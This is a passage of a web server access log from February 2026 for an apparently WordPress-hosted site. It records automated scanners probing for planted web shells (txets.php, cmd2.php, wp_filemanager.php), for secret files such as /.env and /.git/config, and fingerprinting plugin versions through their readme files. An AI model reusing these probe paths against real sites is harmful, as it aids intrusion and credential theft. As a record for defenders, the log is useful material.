795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:08:32 +0300] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 157.15.40.1 - - [11/Feb/2026:19:47:36 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.238.36.39 - - [11/Feb/2026:19:58:15 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:15 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:18 +0300] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:00:48 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:00:51 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:00:54 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:45 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:52 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:00 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:05:07 +0300] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:05:11 +0300] "GET /wp-includes/block-support.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:05:14 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:05:43 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:05:47 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:08:07 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 23.101.133.169 - - [11/Feb/2026:20:48:15 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 159.89.124.64 - - [11/Feb/2026:22:49:18 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 134.199.92.172 - - [11/Feb/2026:22:38:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.34 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:40 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:40 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:41 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:41 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:41 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 159.89.124.64 - - [11/Feb/2026:22:49:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:40 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:41 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:41 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [11/Feb/2026:23:02:41 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.140.247.223 - - [11/Feb/2026:23:02:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 134.209.35.152 - - [11/Feb/2026:23:31:46 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.202.4.80 - - [11/Feb/2026:23:33:05 +0300] "GET /wp-content/plugins/wpvivid-backuprestore/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 49.51.195.195 - - [12/Feb/2026:00:06:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.32.126.230 - - [12/Feb/2026:01:07:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 66.249.79.173 - - [12/Feb/2026:00:51:27 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.161 - - [12/Feb/2026:00:51:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.159.152.4 - - [12/Feb/2026:01:06:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.193.93 - - [12/Feb/2026:01:22:50 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 192.71.2.99 - - [12/Feb/2026:01:32:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.280 Mobile Safari/537.36 OPR/80.4.4244.7786" 66.249.79.173 - - [12/Feb/2026:02:08:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 65.108.2.171 - - [12/Feb/2026:01:16:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 65.108.2.171 - - [12/Feb/2026:01:16:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 157.180.118.86 - - [12/Feb/2026:02:24:41 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 68.183.59.237 - - [12/Feb/2026:03:21:14 +0300] "GET /wp-content/plugins/profile-builder/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47" 74.7.242.11 - - [12/Feb/2026:03:35:40 +0300] "GET / HTTP/1.1" 301 795 "http://thirty.co.in" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.244.54 - - [12/Feb/2026:03:35:14 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 91.215.85.12 - - [12/Feb/2026:05:48:36 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 146.103.115.7 - - [12/Feb/2026:06:29:35 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 119.28.89.249 - - [12/Feb/2026:06:42:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.174.69 - - [12/Feb/2026:07:36:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.64.135.132 - - [12/Feb/2026:08:09:07 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 207.180.240.134 - - [12/Feb/2026:08:25:20 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 34.96.46.142 - - [12/Feb/2026:09:35:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36" 45.148.10.159 - - [12/Feb/2026:09:54:30 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 45.148.10.159 - - [12/Feb/2026:09:54:28 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" 45.148.10.159 - - [12/Feb/2026:09:54:28 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 45.148.10.159 - - [12/Feb/2026:09:54:28 +0300] "GET /.svn/entries HTTP/1.1" 403 787 "-" "Mozilla/5.0" 51.103.141.136 - - [12/Feb/2026:10:12:34 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:36 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:39 +0300] "GET /007xx.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:41 +0300] "GET /l3gi0n.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:06 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:13 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:15 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:17 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:17 +0300] "GET /luuuf.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:21 +0300] "GET /maraz.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:23 +0300] "GET /bayss.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:25 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:27 +0300] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:47 +0300] "GET /sldnjqlm.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:50 +0300] "GET /s3.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:48 +0300] "GET /zr.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:52 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 84.200.24.154 - - [12/Feb/2026:11:04:37 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51.103.141.136 - - [12/Feb/2026:10:11:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:12:57 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:00 +0300] "GET /cmd2.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:02 +0300] "GET /qasfrhau.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:05 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:08 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:10 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:13 +0300] "GET /kolda.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:15 +0300] "GET /reujz.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:17 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:19 +0300] "GET /php8.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:21 +0300] "GET /kgmuq.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:23 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:25 +0300] "GET /nux.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:26 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:28 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:30 +0300] "GET /wfwdhsjo.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:32 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:34 +0300] "GET /sfcl.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:36 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:38 +0300] "GET /sl.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:40 +0300] "GET /flex.php HTTP/1.1" 301 795 "-" "-" 51.103.141.136 - - [12/Feb/2026:10:13:42 +0300] "GET /c4.php HTTP/1.1" 301 795 "-" "-" 221.229.106.25 - - [12/Feb/2026:12:17:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 62.113.116.213 - - [12/Feb/2026:12:09:23 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 3.139.242.79 - - [12/Feb/2026:12:30:39 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 20.203.180.35 - - [12/Feb/2026:12:06:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 138.197.83.196 - - [12/Feb/2026:11:39:29 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.203.180.35 - - [12/Feb/2026:12:06:45 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 115.45.42.15 - - [12/Feb/2026:12:25:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3973.139 Safari/537.36 Edge/18.18362" 43.130.67.6 - - [12/Feb/2026:12:52:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/duplicate-page/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/ewww-image-optimizer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/code-snippets/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/all-in-one-wp-migration/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/better-wp-security/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/smart-slider-3/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/wps-hide-login/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:30 +0300] "GET /wp-content/plugins/wp-time-capsule/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:48:49 +0300] "GET /wp-content/plugins/wordpress-database-reset/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:50:42 +0300] "GET /console HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:51:07 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 43.135.145.73 - - [12/Feb/2026:13:43:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.156.129.158 - - [12/Feb/2026:13:44:51 +0300] "GET /cf_scripts/scripts/ajax/ckeditor/ckeditor.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/google-analytics-for-wordpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/svg-support/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/insert-headers-and-footers/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/better-search-replace/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/duplicate-post/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/redirection/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/header-footer-elementor/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:46:08 +0300] "GET /wp-content/plugins/wp-user-avatar/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:46:37 +0300] "GET /wp-content/plugins/kingcomposer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:44:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:44:53 +0300] "GET /license.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/google-site-kit/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/wp-optimize/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/envato-elements/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/really-simple-ssl/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/complianz-gdpr/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:47 +0300] "GET /wp-content/plugins/wpschoolpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:50:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:44:51 +0300] "GET / HTTP/1.1" 301 795 "-" 